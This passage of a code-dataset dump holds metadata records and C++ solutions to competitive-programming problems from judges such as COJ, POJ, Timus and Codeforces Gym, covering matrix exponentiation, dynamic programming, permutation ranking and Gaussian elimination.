mod;\r\n\t\treturn r;\r\n\t}\r\n};\r\n\r\nmatrix exp(matrix x, ll n) {\r\n\tmatrix r;\r\n\tr.idem();\r\n\twhile (n) {\r\n\t\tif (n & 1ll) r = r * x;\r\n\t\tx = x * x;\r\n\t\tn >>= 1ll;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint tc;\r\nll a, b, g, m, fg, fm;\r\nmatrix M, N;\r\n\r\nint main() {\r\n\tstd::ios::sync_with_stdio(false);\r\n\tM.fib();\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tg = __gcd(a, b);\r\n\t\tN = exp(M, g - 1);\r\n\t\tfg = N.m[0][0];\r\n\t\tm = (a / g) * b;\r\n\t\tN = exp(M, m - 1);\r\n\t\tfm = N.m[0][0];\r\n\t\tcout << fm << ' ' << fg << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.38247421383857727, "alphanum_fraction": 0.3979381322860718, "avg_line_length": 16.653846740722656, "blob_id": "eb8912b71c82dfcf734ece1e5d1008bf7762c662", "content_id": "ac029657a0331f94d13c96bae2357c634ce461bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 970, "license_type": "no_license", "max_line_length": 49, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p1526-Accepted-s702200.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n#include <set>\r\n#include <cassert>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nstring ch;\r\nLL n, k, x, a[25];\r\nLL f[25];\r\nset<int> S;\r\nset<int>::iterator it;\r\n\r\nint main() {\r\n\tcin >> n >> k;\r\n\tf[0] = 1;\r\n\tfor (LL i = 1; i <= n; i++) f[i] = f[i - 1] * i;\r\n\twhile (k--) {\r\n\t\tcin >> ch;\r\n\t\tif (ch[0] == 'P') {\r\n\t\t\tcin >> x;\r\n\t\t\tS.clear();\r\n\t\t\tfor (int i = 1; i <= n; i++) S.insert(i);\r\n\t\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\t\tit = S.begin();\r\n\t\t\t\twhile (x > f[n - i]) {\r\n\t\t\t\t\tx -= f[n - i];\r\n\t\t\t\t\tit++;\r\n\t\t\t\t}\r\n\t\t\t\tcout << *it << \" \";\r\n\t\t\t\tS.erase(it);\r\n\t\t\t}\r\n\t\t\tcout << *S.begin() << \"\\n\";\r\n\t\t} else {\r\n\t\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\t\tcin >> a[i];\r\n\t\t\tS.clear();\r\n\t\t\tLL ret = 1;\r\n\t\t\tfor (int i = 1; i <= n; i++) S.insert(i);\r\n\t\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\t\tit = S.find(a[i]);\r\n\t\t\t\tLL tmp = distance(S.begin(), it);\r\n\t\t\t\tret += tmp * f[n - i];\r\n\t\t\t\tS.erase(it);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tcout << ret << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36086174845695496, "alphanum_fraction": 0.416517049074173, "avg_line_length": 17.20689582824707, "blob_id": "f289bd89d2e325d8adbff94981d1c4fe784b954f", "content_id": "1555457f6eedfce7eb8c5ba703860c36bc4154b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 557, "license_type": "no_license", "max_line_length": 59, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p1787-Accepted-s551372.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#define MAXN 1000\r\n#define mod 1000000007\r\nusing namespace std;\r\n\r\nint n,x;\r\nlong long dp[MAXN+10][MAXN+10],ac[MAXN+10];\r\n\r\nint main()\r\n{\r\n\tfor(int i=1; i<=MAXN; i++)\r\n {\r\n dp[i][1]=dp[i][i]=1ll;\r\n ac[i]=1ll;\r\n for(int j=2; j<i; j++)\r\n dp[i][j]=(dp[i-1][j-1]+(j*dp[i-1][j])%mod)%mod,\r\n ac[i]=(ac[i]+dp[i][j])%mod;\r\n ac[i]=(ac[i]+1ll)%mod;\r\n }\r\n\r\n ac[1]=1ll;\r\n\r\n for(cin >> n; n--;)\r\n {\r\n cin >> x;\r\n cout << ac[x];\r\n if(n)cout << endl;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3797653913497925, "alphanum_fraction": 0.42521995306015015, "avg_line_length": 19.3125, "blob_id": "62e0b5f280e959cc64e851ccff977e6f97e4c7d7", "content_id": "94f6a782c9b6eccd46a168e67be436c8657abe20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 682, "license_type": "no_license", "max_line_length": 57, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2724-Accepted-s580329.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 100;\r\nconst int mov[4][2] = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};\r\nint n, m, k, mat[MAXN + 10][MAXN + 10], sol;\r\n\r\nint f(int i, int j)\r\n{\r\n\tif (i < 1 || j < 1 || i > n || j > m) return 0;\r\n\tif (!mat[i][j]) return 0;\r\n\tmat[i][j] = 0;\r\n\tint r = 1;\r\n\tfor (int k = 0; k < 4; k++)\r\n\t\tr += f(i + mov[k][0], j + mov[k][1]);\r\n\treturn r;\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d\", &n, &m, &k);\r\n\tfor (int i = 0, a, b; i < k; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tmat[a][b] = 1;\r\n\t}\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= m; j++)\r\n\t\t\tif (mat[i][j]) sol = max(sol, f(i, j));\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.3333333432674408, "alphanum_fraction": 0.3511659801006317, "avg_line_length": 16.780487060546875, "blob_id": "73fd92afd49b0ef2f3a18db67ed27e7bdbe2b086", "content_id": "80bf72de2230819116e784c3856263791c472e28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 729, "license_type": "no_license", "max_line_length": 56, "num_lines": 41, "path": "/POJ/2480.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\ninline long long solve(long long n) {\n if (n == 1) {\n return 1;\n }\n long long ans = 1;\n for (long long i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n long long pk = 1;\n long long k = 0;\n while (n % i == 0) {\n pk *= i;\n k++;\n n /= i;\n }\n long long v = (k + 1LL) * pk - k * (pk / i);\n\n ans *= v;\n }\n }\n\n if (n > 1) {\n long long v = 2 * n - 1;\n ans *= v;\n }\n\n return ans;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n long long n;\n while (cin >> n) {\n cout << solve(n) << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.43319839239120483, "alphanum_fraction": 0.449392706155777, "avg_line_length": 13.4375, "blob_id": "c239e8a681c9f5ac1f7c0d07cd56efa9dd1c5158", "content_id": "86a8b49bc32561e9ccc3cbdb37697ee6f4288852", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 247, "license_type": "no_license", "max_line_length": 44, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1361-Accepted-s549328.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint a,b;\r\nint ans;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%d%d\",&a,&b)==2)\r\n\t{\r\n\t ans=0;\r\n\t for(int i=1; i*i*i*i*i*i<=b; i++)ans++;\r\n\t for(int i=1; i*i*i*i*i*i<a; i++)ans--;\r\n\t printf(\"%d\\n\",ans);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3688415586948395, "alphanum_fraction": 0.40745672583580017, "avg_line_length": 13.387755393981934, "blob_id": "95126936ed4628359fa44450dd278a70399e2e45", "content_id": "9f87c1d9ada917a19157ded077aeb8187dc1d8f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 751, "license_type": "no_license", "max_line_length": 37, "num_lines": 49, "path": "/Timus/1104-6163000.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1104\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint get(char c) {\r\n\tif (c >= '0' && c <= '9') {\r\n\t\treturn c - '0';\r\n\t}\r\n\treturn 10 + c - 'A';\r\n}\r\n\r\nstring s;\r\nint a[1000005];\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> s;\r\n\tint mx = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\ta[i] = get(s[i]);\r\n\t\tif (a[i] > mx) {\r\n\t\t\tmx = a[i];\r\n\t\t}\r\n\t}\r\n\tbool ok = false;\r\n\tint ans;\r\n\tif (mx + 1 < 2) {\r\n\t\tmx = 1;\r\n\t}\r\n\tfor (int i = mx + 1; i <= 36; i++) {\r\n\t\tint rem = 0;\r\n\t\tfor (int j = 0; s[j]; j++) {\r\n\t\t\trem = (i * rem + a[j]) % (i - 1);\r\n\t\t}\r\n\t\tif (rem == 0) {\r\n\t\t\tok = true;\r\n\t\t\tans = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (!ok) {\r\n\t\tcout << \"No solution.\\n\";\r\n\t} else {\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2674074172973633, "alphanum_fraction": 0.29185184836387634, "avg_line_length": 19.125, "blob_id": "d92133a4ae11d1b05fa2f32ed49d8c3b7e93f8b9", "content_id": "6604018c7fedab4a71ccbe22e4eaa1f301886c7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1350, "license_type": "no_license", "max_line_length": 67, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p2565-Accepted-s787890.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint a, b;\r\nint first[10005];\r\nint ans[10005];\r\n\r\nvoid solve(int a, int b) {\r\n int pe = a / b;\r\n a %= b;\r\n first[a] = 1;\r\n a *= 10;\r\n int beg = -1;\r\n int end = -1;\r\n for (int i = 0; i < b; i++) {\r\n first[i] = -1;\r\n }\r\n first[::a % ::b] = 1;\r\n for (int i = 1; i <= b + 1; i++) {\r\n ans[i] = a / b;\r\n a %= b;\r\n //cout << i << \" \" << a << \"\\n\";\r\n if (first[a] != -1) {\r\n if (beg == -1) {\r\n //cout << \"------\" << a << \" \" << first[a] << \"\\n\";\r\n beg = first[a];\r\n end = i;\r\n }\r\n } else {\r\n first[a] = i + 1;\r\n }\r\n a *= 10;\r\n }\r\n //cout << beg << \" \" << end << \"\\n\";\r\n if (beg == -1) {\r\n beg = 1;\r\n }\r\n cout << end - beg + 1 << \" \";\r\n cout << ::a / ::b << \".\";\r\n for (int i = 1; i <= 50; i++) {\r\n if (beg == i) {\r\n cout << \"(\";\r\n }\r\n cout << ans[i];\r\n if (end == i) {\r\n cout << \")\";\r\n break;\r\n }\r\n }\r\n if (end > 50) {\r\n cout << \"...)\";\r\n }\r\n cout << \"\\n\";\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(false);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n while (cin >> a >> b) {\r\n solve(a, b);\r\n }\r\n}" }, { "alpha_fraction": 0.3979932963848114, "alphanum_fraction": 0.454849511384964, "avg_line_length": 16.08571434020996, "blob_id": "47ff3468fcb65d550b387adc7b41929fa0664fad", "content_id": "e0032de7da32a271038556bba72bbfe5de09f35c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 598, "license_type": "no_license", "max_line_length": 49, "num_lines": 35, "path": "/Codeforces-Gym/101241 - 2013-2014 Wide-Siberian Olympiad: Onsite round/05.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 Wide-Siberian Olympiad: Onsite round\n// 10124105\n\n#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef long long ll;\n\nint n, l;\nint m[1000000];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout );\n\n cin >> n >> l;\n for( int i = 0,x; i < n; i++ ){\n cin >> x;\n m[x]++;\n }\n bool f = true;\n for( int i = 1; i <= 100010 && f; i++ ){\n if( m[i]%l ){\n f = false;\n }\n }\n\n if( f )\n cout << \"OK\\n\";\n else\n cout << \"ARGH!!1\\n\";\n}\n" }, { "alpha_fraction": 0.5441176295280457, "alphanum_fraction": 0.5451680421829224, "avg_line_length": 27.75, "blob_id": "072e001bfb097040994dcc09a9d625c17be2e14e", "content_id": "8fe913acde9c2967cba57f9cfa5d079bc105fa3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 952, "license_type": "no_license", "max_line_length": 92, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2446-Accepted-s487755.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\nusing namespace std;\r\n\r\nstring b,w;\r\nchar B,W;\r\n\r\n\r\n\r\nint main()\r\n{\r\n //scanf(\"%s %s\",&b,&w);\r\n cin >> b >> w;\r\n\r\n if(b==\"WWW\")B='s';\r\n else if(b==\"BBB\")B='r';\r\n else B='p';\r\n\r\n if(w==\"WWW\")W='s';\r\n else if(w==\"BBB\")W='r';\r\n else if(w==\"BBW\"||w==\"BWB\"||w==\"WBB\")W='r';\r\n else if(w==\"WWB\"||w==\"WBW\"||w==\"BWW\")W='s';\r\n\r\n if(B=='s' && W=='p')printf(\"Bianka won with Scissors\\nWilliams lost with Paper\\n\");\r\n else if(B=='p' && W=='s')printf(\"Williams won with Scissors\\nBianka lost with Paper\\n\");\r\n else if(B=='s' && W=='r')printf(\"Williams won with Rock\\nBianka lost with Scissors\\n\");\r\n else if(B=='r' && W=='s')printf(\"Bianka won with Rock\\nWilliams lost with Scissors\\n\");\r\n else if(B=='r' && W=='p')printf(\"Williams won with Paper\\nBianka lost with Rock\\n\");\r\n else if(B=='p' && W=='r')printf(\"Bianka won with Paper\\nWilliams lost with Rock\\n\");\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.39409592747688293, "alphanum_fraction": 0.41549816727638245, "avg_line_length": 19.530303955078125, "blob_id": "3ac6cc526130c59cd5c0f90fe197e6caf7698966", "content_id": "6b7f37c7533f3a8eda4cb45301dbd462ab448814", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1355, "license_type": "no_license", "max_line_length": 56, "num_lines": 66, "path": "/Codeforces-Gym/100861 - 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2008-2009 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100861B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline int nxt(int f, int a, int b, int c) {\n return ((((long long)a * f % c) + b) % c) + 1;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n int f1, a, b, c;\n cin >> f1 >> a >> b >> c;\n\n map <int, int> f;\n int n, m;\n cin >> n >> m;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < m; j++) {\n int x;\n cin >> x;\n f[x]++;\n }\n }\n\n vector <pair <int, int> > v;\n for (auto it : f) {\n v.push_back(make_pair(it.second, it.first));\n }\n\n vector <int> cd(v.size());\n cd[0] = f1;\n for (int i = 1; i < v.size(); i++) {\n cd[i] = nxt(cd[i - 1], a, b, c);\n }\n\n vector <pair <int, int> > w(v.size());\n for (int i = 0; i < v.size(); i++) {\n w[i].first = cd[i];\n w[i].second = i;\n }\n\n sort(v.begin(), v.end());\n sort(w.begin(), w.end());\n\n vector <int> answer(v.size());\n\n for (int i = 0; i < v.size(); i++) {\n answer[w[i].second] = v[i].second;\n }\n\n cout << v.size() << \"\\n\";\n for (int i = 0; i < answer.size(); i++) {\n cout << answer[i];\n if (i + 1 < answer.size()) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3906048834323883, "alphanum_fraction": 0.4009009003639221, "avg_line_length": 13.857142448425293, "blob_id": "71e2742095167bb566418dabda88badbf591c09e", "content_id": "d1a218a8c81e33adc9e56d24ee7cd62ba72a0d9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1554, "license_type": "no_license", "max_line_length": 54, "num_lines": 98, "path": "/COJ/eliogovea-cojAC/eliogovea-p4099-Accepted-s1294960.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct point {\r\n\tint x, y;\r\n\r\n\tpoint(int _x = 0, int _y = 0) : x(_x), y(_y) {}\r\n};\r\n\r\nstruct line {\r\n\tint a, b, c;\r\n\r\n\tvoid normalize() {\r\n\t\tint g = __gcd(abs(a), abs(b));\r\n\t\ta /= g;\r\n\t\tb /= g;\r\n\t\tc /= g;\r\n\r\n\t\tif (a < 0 || (a == 0 && b < 0)) {\r\n\t\t\ta = -a;\r\n\t\t\tb = -b;\r\n\t\t\tc = -c;\r\n\t\t}\r\n\t}\r\n};\r\n\r\nbool operator < (const line & lhs, const line & rhs) {\r\n\tif (lhs.a != rhs.a) {\r\n\t\treturn lhs.a < rhs.a;\r\n\t}\r\n\tif (lhs.b != rhs.b) {\r\n\t\treturn lhs.b < rhs.b;\r\n\t}\r\n\treturn lhs.c < rhs.c;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tvector <point> pts(n);\r\n\tfor (auto & P : pts) {\r\n\t\tcin >> P.x >> P.y;\r\n\t}\r\n\r\n\tmap <line, int> cnt;\r\n\r\n\tmap <int, int> rt;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\trt[i * (i - 1) / 2] = i;\r\n\t}\r\n\r\n\tlong long answer = 0;\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tint dx = pts[j].x - pts[i].x;\r\n\t\t\tint dy = pts[j].y - pts[i].y;\r\n\r\n\t\t\tline r;\r\n\t\t\tr.a = dy;\r\n\t\t\tr.b = -dx;\r\n\t\t\tr.c = -(r.a * pts[i].x + r.b * pts[i].y);\r\n\t\t\tr.normalize();\r\n\r\n\t\t\tcnt[r]++;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i == j) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint dx = pts[j].x - pts[i].x;\r\n\t\t\tint dy = pts[j].y - pts[i].y;\r\n\r\n\t\t\tint rdx = -dy;\r\n\t\t\tint rdy = dx;\r\n\r\n\t\t\tline l;\r\n\t\t\tl.a = rdy;\r\n\t\t\tl.b = -rdx;\r\n\t\t\tl.c = -(l.a * pts[i].x + l.b * pts[i].y);\r\n\t\t\tl.normalize();\r\n\r\n\t\t\tif (cnt.find(l) != cnt.end()) {\r\n\t\t\t\tanswer += rt[cnt[l]] - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer / 2LL << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4826589524745941, "alphanum_fraction": 0.5057803392410278, "avg_line_length": 13.17391300201416, "blob_id": "13f17c257deca3d434bf53ca00ff29098b27c048", "content_id": "2c44fa9d6fb4afe69aec422ce9e633403172ef71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 346, "license_type": "no_license", "max_line_length": 34, "num_lines": 23, "path": "/Timus/1083-6291285.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1083\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, k;\r\nstring s;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//froepen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> s;\r\n\tk = s.size();\r\n\tint res = 1;\r\n\twhile (n > 0) {\r\n\t\tres = res * n;\r\n\t\tn -= k;\r\n\t}\r\n\tcout << res << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3899647891521454, "alphanum_fraction": 0.41461268067359924, "avg_line_length": 20.27450942993164, "blob_id": "bd1e3371c5160799ac0a7e809498644ec0d96313", "content_id": "b768943ade5b2380482271de771f601cdbcba7f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 73, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p2117-Accepted-s904579.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n, k;\r\nlong long x[N], w[N];\r\nlong long cost[N][N];\r\nlong long dp[N][N];\r\nlong long pos[N][N];\r\n\r\nvoid solve(int g, int l, int r, int pl, int pr) {\r\n\tif (l > r) return;\r\n\tint mid = (l + r) >> 1;\r\n\tdp[g][mid] = -1;\r\n\tpos[g][mid] = -1;\r\n\tfor (int i = pl; i < mid && i <= pr; i++) {\r\n\t\tif (dp[g][mid] == -1 || dp[g][mid] > dp[g - 1][i] + cost[i + 1][mid]) {\r\n\t\t\tdp[g][mid] = dp[g - 1][i] + cost[i + 1][mid];\r\n\t\t\tpos[g][mid] = i;\r\n\t\t}\r\n\t}\r\n\tsolve(g, l, mid - 1, pl, pos[g][mid]);\r\n\tsolve(g, mid + 1, r, pos[g][mid], pr);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> k) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> x[i] >> w[i];\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = i - 1; j >= 1; j--) {\r\n\t\t\t\tcost[j][i] = cost[j + 1][i] + w[j] * (x[i] - x[j]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tdp[1][i] = cost[1][i];\r\n\t\t\tpos[1][i] = 0;\r\n\t\t}\r\n\t\tlong long ans = dp[1][n];\r\n\t\tfor (int i = 2; i <= k; i++) {\r\n\t\t\tsolve(i, i, n, i - 1, n);\r\n\t\t\tans = min(ans, dp[i][n]);\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.43233081698417664, "alphanum_fraction": 0.4398496150970459, "avg_line_length": 15.733333587646484, "blob_id": "535e0405745fc953cf5e583baf478059179338cf", "content_id": "1b430f23652c009b88787c99e34b8de8daa863e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 266, "license_type": "no_license", "max_line_length": 41, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2879-Accepted-s620081.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nlong long tc, n, m;\r\n\r\nint main()\r\n{\r\n scanf(\"%lld\", &tc);\r\n while (tc--) {\r\n scanf(\"%lld%lld\", &n, &m);\r\n if (m % n) printf(\"-1\\n\");\r\n else printf(\"%lld %lld\\n\", n, m);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.544280469417572, "alphanum_fraction": 0.5516605377197266, "avg_line_length": 14.941176414489746, "blob_id": "192162bae8ff643d7b1bf24a5abc1b9d65cc5801", "content_id": "2d2e2d569b2f810cb8f7755e9d096657849e0611", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 542, "license_type": "no_license", "max_line_length": 55, "num_lines": 34, "path": "/POJ/2505.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <map>\n\nusing namespace std;\n\nmap <long long, bool> memo;\n\nbool win(long long cur, long long lim) {\n\tif (cur >= lim) {\n\t\treturn false;\n\t}\n\tif (memo.find(cur) != memo.end()) {\n\t\treturn memo[cur];\n\t}\n\tfor (long long i = 2; i <= 9; i++) {\n\t\tif (!win(cur * i, lim)) {\n\t\t\tmemo[cur] = true;\n\t\t\treturn true;\n\t\t}\n\t}\n\tmemo[cur] = false;\n\treturn false;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tlong long n;\n\twhile (cin >> n) {\n\t\tmemo.clear();\n\t\tcout << (win(1, n) ? \"Stan\" : \"Ollie\") << \" wins.\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.2961706221103668, "alphanum_fraction": 0.3160445988178253, "avg_line_length": 16.754545211791992, "blob_id": "ab07a21172c575a4639ea6c97bd06fbc7500a4b9", "content_id": "27fb045d366515bf0551dc11386c2fa20e248790", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2063, "license_type": "no_license", "max_line_length": 38, "num_lines": 110, "path": "/COJ/eliogovea-cojAC/eliogovea-p3290-Accepted-s815557.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 150;\r\n\r\nint w, h, s;\r\n\r\nint n;\r\n\r\nint par[N];\r\n\r\ndouble p[N][N];\r\ndouble pi[N][N];\r\n\r\nvoid invert() {\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (i == j) {\r\n pi[i][j] = 1.0;\r\n\t\t\t} else {\r\n pi[i][j] = 0.0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tint mx = i;\r\n\t\tfor (int j = i + 1; j <= n; j++) {\r\n\t\t\tif (abs(p[j][i]) > abs(p[mx][i])) {\r\n\t\t\t\tmx = j;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tswap(p[i][j], p[mx][j]);\r\n\t\t\tswap(pi[i][j], pi[mx][j]);\r\n\t\t}\r\n\t\tdouble tmp = p[i][i];\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tp[i][j] /= tmp;\r\n\t\t\tpi[i][j] /= tmp;\r\n\t\t}\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tif (i == j) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ttmp = p[j][i];\r\n\t\t\tfor (int k = 1; k <= n; k++) {\r\n\t\t\t\tp[j][k] -= p[i][k] * tmp;\r\n\t\t\t\tpi[j][k] -= pi[i][k] * tmp;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcout.precision(9);\r\n\twhile (cin >> w >> h >> s) {\r\n\t\tn = h * w;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tp[i][j] = 0.0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tpar[i] = i;\r\n\t\t}\r\n\t\tint u, v;\r\n\t\twhile (s--) {\r\n\t\t\tcin >> u >> v;\r\n\t\t\tpar[u] = v;\r\n\t\t}\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tif (i != par[i]) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tfor (int j = 1; j <= 6; j++) {\r\n\t\t\t\tint cur = i;\r\n\t\t\t\tint dir = 1;\r\n\t\t\t\tfor (int k = 1; k <= j; k++) {\r\n if (cur == n) {\r\n dir = -1;\r\n }\r\n if (cur == 1) {\r\n dir = 1;\r\n }\r\n cur += dir;\r\n\t\t\t\t}\r\n\t\t\t\tint next = par[cur];\r\n\t\t\t\tp[i][next] += 1.0 / 6.0;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\t\tp[i][j] = -p[i][j];\r\n\t\t\t\tif (j == i) {\r\n\t\t\t\t\tp[i][j] += 